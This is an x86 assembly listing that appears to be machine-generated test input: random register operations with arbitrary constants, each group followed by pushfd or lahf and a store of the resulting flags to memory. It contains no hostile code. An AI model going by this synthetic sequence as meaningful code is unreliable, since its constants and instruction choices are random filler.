mov ecx, 0xa2bd6546
shl eax, cl
mov ebx, 0x24b8d97
sal ebx, 1
mov edx, 0x8b91e6d6
mov ecx, 0xd1b8ab03
rol edx, cl
mov edx, 0x42cec507
sar edx, 0x86
mov edx, 0xfb7ed32f
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x402e1910
dec ecx
mov edx, 0xa1c747dc
mov ecx, 0x2706c9d4
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2bfd346
mov ecx, 0x10de29a3
ror ebx, cl
mov ebx, 0x5db6487a
mov ecx, 0xb151d54a
rol ebx, cl
mov edx, 0xe1ab14d3
sub edx, 0x6008623b
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa64cbaa3
mov edx, 0x26953f21
add ecx, edx
mov edx, 0xd50d0e40
neg edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6340db06
sub ebx, 0xf2793775
mov eax, 0x65ca0210
aas
mov ebx, 0x1c70f919
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x98dac225
sal eax, 0x27
mov ebx, 0x68a6a2d4
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x6c2caf1b
inc edx
mov ebx, 0x1f1882e9
mov ecx, 0xf2fb6a53
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x50c78788
mov ebx, 0x36f43e91
cmp edx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x334a1440
neg edx
mov eax, 0xc3312934
aaa
mov ebx, 0x616de0e1
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x2fad6f4
mov ecx, 0x51255c22
ror ebx, cl
mov edx, 0x957f9fd5
add edx, 0x894c00b7
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xb5e4bffb
dec eax
mov ebx, 0x4c50b0b0
rol ebx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3d8132e7
shl eax, 1
mov edx, 0x3a0a9e7f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc32da90c
rol ebx, 1
mov ebx, 0x706ba445
mov ecx, 0x39ba4162
rol ebx, cl
mov ecx, 0x593fdd5c
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3137c426
dec ebx
mov edx, 0xa9d318a2
mov ecx, 0x57c2ea04
ror edx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x40d43048
inc eax
mov edx, 0xa9794271
mov ecx, 0x96408052
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xe4edbc4f
mov edx, 0xdf22c212
sub ecx, edx
mov eax, 0xb29cb786
aaa
mov ebx, 0x307a6045
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x6cf7e18b
sal edx, 1
mov eax, 0x5d046e0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcf2c8d12
mov edx, 0xcdf53429
add ebx, edx
mov eax, 0xb2d7a152
aas
mov ecx, 0x7de244cd
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x1e651c4b
mov ecx, 0x5b5cf7fe
ror eax, cl
mov eax, 0xffc72c4f
rol eax, 1
mov eax, 0xf3b691f9
add eax, 0x68b70472
mov eax, 0x2902278
aaa
mov ecx, 0x1fcb8baa
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x1ff16e22
mov ebx, 0x37d62fa9
add eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6bae974f
aaa
mov edx, 0x2f6be44e
mov ecx, 0x94ba932a
rol edx, cl
mov eax, 0x20e3cadf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xddcc8b5f
mov ecx, 0x6bffea50
sar edx, cl
mov ecx, 0x2bf6a60e
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x51fcab7c
rol ebx, 1
mov ecx, 0x91e81a3a
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xf99f81e1
add ebx, 0xeaec973f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xab849bba
rol eax, 1
mov eax, 0xb8fa012a
mov ecx, 0x1f25c2ca
rol eax, cl
mov ebx, 0xb6f12186
rol ebx, 1
mov edx, 0x6e67251
rol edx, 1
mov ecx, 0xf89cfb40
dec ecx
mov eax, 0xf04672dd
mov ecx, 0xb421c02d
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x9aa016cd
aas
mov eax, 0x481b3cf3
inc eax
mov eax, 0x5d6421e5
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6e0b1ab2
sal edx, 1
mov eax, 0x1a320f1e
inc eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xbd8a03fa
mov ecx, 0x1bf5ff1c
rol edx, cl
mov eax, 0xcdeb87a7
mov ebx, 0x7748d1f2
sub eax, ebx
mov eax, 0x9992375e
aaa
mov eax, 0x766df009
aas
mov eax, 0x2f40323f
shl eax, 5
mov ebx, 0x6ee28acf
inc ebx
mov eax, 0x972eab79
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x27de4090
mov ecx, 0x2b19fd5e
sar edx, cl
mov ebx, 0xff081278
rol ebx, 1
mov ebx, 0x18d6b450
mov ecx, 0xe4f18d83
ror ebx, cl
mov edx, 0xf3c87c48
neg edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x62212030
mov ebx, 0x646b906
cmp edx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3fefae7a
add eax, 0x3afcab62
mov eax, 0xae89d16
aas
mov eax, 0x3de73ae4
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x7d7e1307
inc ecx
mov eax, 0xf38ae619
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x69e2e5bd
rol edx, 1
mov eax, 0xd83e52b5
mov ecx, 0xe0f97484
rol eax, cl
mov ebx, 0x4fd4da77
mov ecx, 0xc1277c05
sar ebx, cl
mov ebx, 0xfd829da2
mov ecx, 0xcddb6e
ror ebx, cl
mov ebx, 0xddfc7b86
mov ecx, 0x8eef398f
ror ebx, cl
mov ecx, 0x82007150
mov ebx, 0x8a3952e3
sub ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x9568cac
inc eax
mov edx, 0x6b30f488
mov ecx, 0x73c65f
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaeb8108
mov ecx, 0xae3aa47c
rol edx, cl
mov eax, 0x9a8e1118
add eax, 0x42af5e65
mov eax, 0xdb4cb80a
aas
mov ebx, 0x3811a4ba
mov ecx, 0x60383db0
rol ebx, cl
mov eax, 0x4a8bfec0
rol eax, 1
mov ecx, 0xe8b22860
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x8844008c
mov ebx, 0xed2db5f2
sub eax, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xb33f416b
sub edx, 0xb40c4d32
mov ecx, 0xb6d2a94f
inc ecx
mov edx, 0x6e1e254e
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x43915d1f
mov ecx, 0x69b80e9c
rol eax, cl
mov edx, 0x1b93891a
mov ecx, 0x7882a24f
ror edx, cl
mov ebx, 0x537e64af
neg ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x54567738
mov ecx, 0xde71a141
ror edx, cl
mov edx, 0x93ac867
inc edx
mov eax, 0xcbf46e51
mov ecx, 0x19c7d44a
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xf1892840
rol eax, 1
mov ebx, 0x5454812a
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x449fcf3c
rol ebx, 1
mov ecx, 0xf0dd65e8
cmp ecx, 0x1452c580
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x56f5674
mov edx, 0x527c8be8
cmp ecx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x9f038403
rol ebx, 1
mov ebx, 0xc8fecad0
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa9f14c81
mov ecx, 0xed980fc8
ror edx, cl
mov edx, 0x3a37c9ce
sal edx, 4
mov ebx, 0x6d097dc2
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x786e9071
mov ecx, 0x23e96e47
sal eax, cl
mov eax, 0x672163b6
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xd91e14e2
mov ecx, 0xd95941f3
ror ebx, cl
mov edx, 0x692abddf
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xecd96d5
rol ebx, 1
mov ebx, 0x2cc4c7b3
mov eax, 0xf7ad0285
cmp ebx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x643aab9d
mov ecx, 0x6f65867b
rol eax, cl
mov ebx, 0x6660df3a
rol ebx, 1
mov ebx, 0x5f69d17b
mov ecx, 0xadf0739a
rol ebx, cl
mov ebx, 0xb5acf444
rol ebx, 1
mov ebx, 0x44d69681
mov ecx, 0x40f1ba4e
rol ebx, cl
mov edx, 0x48614c20
dec edx
mov edx, 0x1e12d5b8
mov ecx, 0x99dc8b8
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x54ff7b59
mov ecx, 0x441e2603
ror ebx, cl
mov edx, 0x421b6878
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1b00a712
dec ebx
mov ebx, 0xe72c8bfd
mov ecx, 0x3edf41a5
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xd8a96dbd
cmp ecx, 0xee2e0d8e
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x77c70a7d
dec eax
mov edx, 0x1db46cb
mov ecx, 0x6aea3686
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd15372f5
sub eax, 0x9a90d1a3
mov ebx, 0xf99ec227
mov ecx, 0x2bd98f8f
rol ebx, cl
mov ebx, 0x7d115719
mov ecx, 0x9938ee9d
ror ebx, cl
mov edx, 0x78bf2c4
sal edx, 0x2e
mov edx, 0xb136b74f
mov ecx, 0x22d1ba9b
ror edx, cl
mov ebx, 0x4872f1fa
sar ebx, 0x18
mov edx, 0xea1f505f
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x6204d637
mov ecx, 0xfe17e42e
sal edx, cl
mov ecx, 0xce6e77bc
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x3d46db3c
sal eax, 1
mov eax, 0x94a78dc9
mov ecx, 0x9966a723
rol eax, cl
mov ebx, 0x9444828f
inc ebx
mov ebx, 0x6eae0199
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x680fe56b
mov ecx, 0x109cb30a
sub eax, ecx
mov eax, 0x8d7f4a2
rol eax, 1
mov eax, 0xe74d1852
mov ecx, 0x96e46c25
ror eax, cl
mov eax, 0x5f1ae1c
mov ecx, 0x3998c023
shl eax, cl
mov eax, 0xf8e1e799
mov ecx, 0x6248bc46
sal eax, cl
mov eax, 0x84141d42
mov ecx, 0x1e67a168
ror eax, cl
mov edx, 0x735fd5f0
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x70d6c972
mov ecx, 0x9cf102d8
ror ebx, cl
mov eax, 0x96b0f0af
rol eax, 1
mov edx, 0x7dba185e
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x259d00cb
inc ebx
mov edx, 0xb00d0fe5
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xd3c56c4d
mov ecx, 0xa3c57ef
ror ebx, cl
mov eax, 0xdbb87286
mov ecx, 0x3e1bcf56
ror eax, cl
mov ebx, 0x559319a4
rol ebx, 1
mov eax, 0xe40bfebe
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6832fb9e
mov ecx, 0xa83d73be
rol edx, cl
mov eax, 0xcb8a9a76
mov ecx, 0xa1f55ce7
ror eax, cl
mov eax, 0x124a0928
sub eax, 0x85bb0ade
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7f8730a6
mov ecx, 0x9eb45b29
sub ebx, ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7d9bd159
mov ecx, 0x7daa9a16
rol edx, cl
mov eax, 0x51381e0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa55af7a1
rol edx, 1
mov ebx, 0xe5e5ecf7
mov ecx, 0xd8ba61b6
add ebx, ecx
mov eax, 0x1f747e77
aaa
mov ebx, 0x205ee35d
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa010f551
shl edx, 1
mov eax, 0x5f35c0f0
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xf3251d68
aaa
mov ecx, 0x95767a5b
add ecx, 0xc7778fcc
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xc77cbfa6
mov ecx, 0x2e6f22ff
ror edx, cl
mov eax, 0xdc759996
mov ecx, 0xb40a93e5
cmp eax, ecx
mov eax, 0x10be121b
mov ebx, 0x351f2594
add eax, ebx
mov eax, 0x6ddaeb46
rol eax, 1
mov ebx, 0x18a9286
mov edx, 0xe3fb7242
sub ebx, edx
mov eax, 0x40d8586f
inc eax
mov edx, 0x92843c03
mov ecx, 0xa0978ac3
ror edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x58201faf
sal edx, 1
mov eax, 0x71180ac
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8749161f
rol ebx, 1
mov eax, 0x6a7c014d
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xa05f4c0f
inc edx
mov edx, 0xe37bb837
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x6fb0aba3
rol edx, 1
mov ebx, 0x5f4f9087
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xf33c032f
inc ebx
mov eax, 0x72851a7
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa36c08f4
mov ecx, 0x441f980c
ror eax, cl
mov eax, 0xc496106b
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xdbe90692
rol edx, 1
mov ecx, 0xb1a0665f
inc ecx
mov ebx, 0x129153df
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa10bd144
shl eax, 1
mov edx, 0x80003f04
dec edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x2d712615
mov ecx, 0x4f185832
rol edx, cl
mov edx, 0x44c4d189
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xa76501c2
mov ecx, 0x685c3bea
shl eax, cl
mov ecx, 0x40c7b923
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x2bde3091
mov ecx, 0xbf198070
ror edx, cl
mov ebx, 0xca421ae9
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb94cab55
mov ecx, 0x857fd64e
sar eax, cl
mov ecx, 0xcdacfc7f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb0624194
mov ecx, 0x25f387d9
add ebx, ecx
mov eax, 0x9ae5960e
aas
mov ebx, 0xe00bdcd3
mov edx, 0xeee8a7fb
sub ebx, edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x67b5a69b
sal edx, 0xc7
mov ecx, 0x576103cf
inc ecx
mov edx, 0x89d2dc9
mov ecx, 0x2b74c725
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x936565e
mov ecx, 0x9037429c
sub eax, ecx
mov eax, 0x90e76e1
aaa
mov ecx, 0x1a41e0e8
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf940ae2d
rol eax, 1
mov ecx, 0xff59a29f
mov eax, 0x71e15c3
add ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x1f0b05bf
inc ebx
mov edx, 0x8f3268c0
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x8a45e524
rol edx, 1
mov edx, 0xca7bff3
rol edx, 1
mov edx, 0xe99f38a2
mov ecx, 0xc73e8719
ror edx, cl
mov ebx, 0x569665e
mov eax, 0x7bee13e4
sub ebx, eax
mov eax, 0xff378617
mov ebx, 0x9ca4c384
add eax, ebx
mov eax, 0x77a35450
rol eax, 1
mov edx, 0xc230f439
mov ecx, 0x53735133
rol edx, cl
mov ebx, 0x4d3a608b
rol ebx, 1
mov edx, 0xeff42cb3
mov ecx, 0x4dc70c0e
rol edx, cl
mov ebx, 0x2ebfde81
mov ecx, 0x6cdeb55f
ror ebx, cl
mov eax, 0x44dd801e
mov ecx, 0xb0b48b54
rol eax, cl
mov ebx, 0x1f4d82df
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf6ac1a8b
mov ecx, 0xdc5f1b6b
sar eax, cl
mov edx, 0x6f442b84
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x9d6be35f
shl edx, 1
mov eax, 0x886fe78
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7b21fbe6
mov edx, 0xab46172c
cmp eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd3cc044d
mov ecx, 0x79ffd704
ror ebx, cl
mov eax, 0x6e916f13
aas
mov eax, 0xb782a095
rol eax, 1
mov edx, 0x1e85a003
inc edx
mov ebx, 0x1e015fdc
mov ecx, 0x67e87a93
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xdefb1edf
mov ecx, 0x88a29de
sar eax, cl
mov eax, 0xfa485040
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xbdbf5043
mov eax, 0x2c8c1162
add ebx, eax
mov ebx, 0xa1f3a730
shl ebx, 1
mov ebx, 0x853f5adf
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdd373162
rol edx, 1
mov edx, 0x223c3d0c
mov ecx, 0x3c2fbb0a
ror edx, cl
mov edx, 0xc82a8e14
mov ecx, 0x2d15d0c3
ror edx, cl
mov ebx, 0xd9f556d0
dec ebx
mov eax, 0x20711822
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x76d5a576
shl ebx, 0x37
mov ebx, 0x73896010
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2943eda3
sal eax, 0x22
mov eax, 0x43ec0549
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3a970dfd
dec edx
mov ebx, 0xe93325d0
mov ecx, 0x78a29dd0
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x79fadfec
mov ecx, 0x4425fa66
ror edx, cl
mov eax, 0xd2dde899
shl eax, 1
mov edx, 0xf002d6c0
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xe081b1c4
mov edx, 0x15261201
sub ebx, edx
mov eax, 0x5103d4c5
aaa
mov ecx, 0xa2fe0c7b
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xebf11b85
mov ecx, 0xf798570c
rol ebx, cl
mov edx, 0xf56c8bf2
shl edx, 1
mov ebx, 0x5ce73b57
mov ecx, 0x5aa67d26
rol ebx, cl
mov ebx, 0xb9565310
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe3a9bae5
rol eax, 1
mov eax, 0xfaeb9c53
aas
mov ebx, 0xadde4419
cmp ebx, 0xdbbfa99c
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa45348f3
cmp edx, 0x71907700
mov eax, 0x95f2c57
mov ecx, 0x1facc464
add eax, ecx
mov ebx, 0xcc28e5c4
mov ecx, 0xea4b036c
rol ebx, cl
mov eax, 0x8f5805d7
cmp eax, 0x8b16085
mov ecx, 0x8be724c3
inc ecx
mov ebx, 0x10df709c
mov ecx, 0x37e30ae
ror ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x4568e5d
aaa
mov eax, 0xb93a276c
sub eax, 0xb9ebe696
mov eax, 0x9c7c225
aaa
mov ecx, 0xcf1dbadc
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2808f293
cmp eax, 0xaba11d0a
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xa338d264
sar eax, 0x78
mov eax, 0x604ecec4
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x8e811de2
mov ecx, 0x4a68a8e3
rol eax, cl
mov eax, 0x7b445177
mov ebx, 0x642db206
sub eax, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x66ba907e
rol edx, 1
mov ecx, 0xf27b4df
inc ecx
mov ebx, 0xbc1f09bc
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6c22123f
mov eax, 0x96b35c3f
cmp ebx, eax
mov eax, 0xd79c02c6
aas
mov ecx, 0x5d7a3dd6
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xc45d2c6d
mov ecx, 0x7e34a43c
ror ebx, cl
mov ebx, 0x9df6ae2f
mov ecx, 0xca914607
rol ebx, cl
mov ebx, 0xbae7454b
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xd178db53
add ebx, 0xf0516752
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa08e38bf
mov ecx, 0x58895312
ror edx, cl
mov ebx, 0x86435448
mov ecx, 0x1ff220bf
rol ebx, cl
mov eax, 0x439fd963
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4216f175
mov ecx, 0xeb31194a
rol eax, cl
mov edx, 0xddf06389
mov ecx, 0x86335307
ror edx, cl
mov ebx, 0x88ab2603
mov ecx, 0x8afaf7e4
ror ebx, cl
mov edx, 0xa3572666
mov ecx, 0xf4d646c5
ror edx, cl
mov ebx, 0x586b8447
dec ebx
mov edx, 0x69e3d9b4
mov ecx, 0xce120ce3
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x5af80466
mov ecx, 0x325bfb93
ror eax, cl
mov ebx, 0x40dc19c
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x7228bda2
rol edx, 1
mov ebx, 0x36b149c0
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x75b3b3c6
aas
mov edx, 0x2e2131db
shl edx, 1
mov ebx, 0x44ff24b2
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe191811a
aaa
mov eax, 0x1e8257b4
mov ecx, 0x5cdd67b
rol eax, cl
mov edx, 0x21856200
rol edx, 1
mov ecx, 0x2994ab15
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x2edfaa36
mov ecx, 0xd97e1205
ror eax, cl
mov ebx, 0x1fc457a0
neg ebx
mov eax, 0x8d73b542
aaa
mov ecx, 0x48a9de05
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x37eb3d30
aaa
mov eax, 0x4960fe92
inc eax
mov eax, 0xe47803c3
mov ecx, 0xf1dbf632
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x66c11e95
mov ecx, 0x5ba8e235
rol eax, cl
mov eax, 0x8c7f9580
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x40e47423
rol eax, 1
mov ecx, 0x49b2f40e
inc ecx
mov edx, 0x4efe5813
mov ecx, 0xfab9af26
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x47f15e40
mov ecx, 0x43983907
rol eax, cl
mov edx, 0xfcf3bd33
rol edx, 1
mov ebx, 0xb9e51e7a
mov ecx, 0x34dce805
ror ebx, cl
mov edx, 0x8912611c
mov ecx, 0x409d488f
rol edx, cl
mov eax, 0x286a0fbc
mov ecx, 0xe655ab66
rol eax, cl
mov edx, 0x8b0d1a66
rol edx, 1
mov ebx, 0xec514af
mov ecx, 0x513caa74
rol ebx, cl
mov ebx, 0x54b32b29
sal ebx, 0xe1
mov eax, 0xa72b39c0
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x25cc9afd
sub ecx, 0x70152715
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x2893c7c7
rol ebx, 1
mov edx, 0x170bee09
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x433d3e3f
aaa
mov eax, 0xbae16376
shl eax, 1
mov ecx, 0x66923805
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3d9059a6
mov ecx, 0x205352a1
sar edx, cl
mov eax, 0x46cbd3b2
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xd04db707
sub eax, 0x5702f859
lahf
mov byte [edi], ah
inc edi
mov eax, 0x368b9df1
mov ecx, 0xc45a5e26
ror eax, cl
mov ebx, 0x97803f8a
mov ecx, 0xec03c2b7
rol ebx, cl
mov ebx, 0x444fc3ee
mov ecx, 0x1eaed144
shl ebx, cl
mov ecx, 0x79db216
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x436aa73d
mov eax, 0x305bed9c
cmp edx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x8c0e2728
inc eax
mov eax, 0x5b1ad9e5
mov ecx, 0x75c5805f
rol eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x550492d1
mov ebx, 0x9aed1020
add eax, ebx
mov edx, 0x4cdf5e40
mov ecx, 0xaf7e118d
sar edx, cl
mov eax, 0x7cadc6e1
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x94656022
rol edx, 1
mov eax, 0x5624dd0f
mov ecx, 0xd58d8f9e
sub eax, ecx
mov edx, 0xdf7d4405
mov ecx, 0x91d4ee45
ror edx, cl
mov edx, 0x21f731fd
mov ecx, 0xc9f64102
sal edx, cl
mov eax, 0x9ca61ecf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4171f70c
mov eax, 0x7b563a8e
cmp edx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x7b6550cd
rol eax, 1
mov ebx, 0x74c778b7
mov ecx, 0x66066ada
ror ebx, cl
mov eax, 0xc0878ad2
mov ebx, 0x4bb481cf
add eax, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xaf76c44a
rol edx, 1
mov ebx, 0xee99995c
mov eax, 0x655e009a
add ebx, eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3aa4fcfb
inc edx
mov eax, 0x3a3c7d29
mov ecx, 0xb42f138c
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5322a1ce
sub edx, 0xf1b3b079
mov ecx, 0xf1e2071c
cmp ecx, 0x9734fd2
mov edx, 0xc3c0da9e
dec edx
mov edx, 0xc24ad411
mov ecx, 0x3bb5284d
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2c6d2c56
rol eax, 1
mov ebx, 0x7c251205
mov ecx, 0x981c3e54
rol ebx, cl
mov ebx, 0x2652530a
rol ebx, 1
mov ecx, 0xc8026d44
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xf1054c47
rol ebx, 1
mov ebx, 0xd4aca775
sub ebx, 0x25755d00
mov eax, 0xa3f1bcba
aaa
mov edx, 0x4f7479af
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xa34b669e
sal edx, 0x26
mov eax, 0xf53bd542
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa99cf73d
mov ecx, 0xc50fbc39
rol edx, cl
mov eax, 0xeec44ab7
shl eax, 0xda
mov ecx, 0xd463bd4f
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xa1eabc97
mov ecx, 0x55d52406
ror eax, cl
mov edx, 0x6a8d4a94
mov ecx, 0x1f24bcba
ror edx, cl
mov ebx, 0x42cbd3d3
dec ebx
mov eax, 0x4043f0c7
mov ecx, 0x81f29d7c
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x4ba24b55
mov ecx, 0x336d459e
sar eax, cl
mov ebx, 0xbb1c8a01
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x1e87312c
rol eax, 1
mov eax, 0x577f15f0
rol eax, 1
mov eax, 0x6011a4c4
rol eax, 1
mov eax, 0x1e6fca14
mov ecx, 0x8d4e5e8e
sal eax, cl
mov edx, 0x6c67670b
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x815fe6ef
cmp ecx, 0x37ac7bdf
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xc1c254dc
add edx, 0xcbd38313
mov eax, 0x522f4dc5
aaa
mov eax, 0x11c50cf9
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xda7a7f9d
cmp eax, 0x622b6323
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x3ed20319
aas
mov ebx, 0x31b8fb66
rol ebx, 1
mov ebx, 0x82658b
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
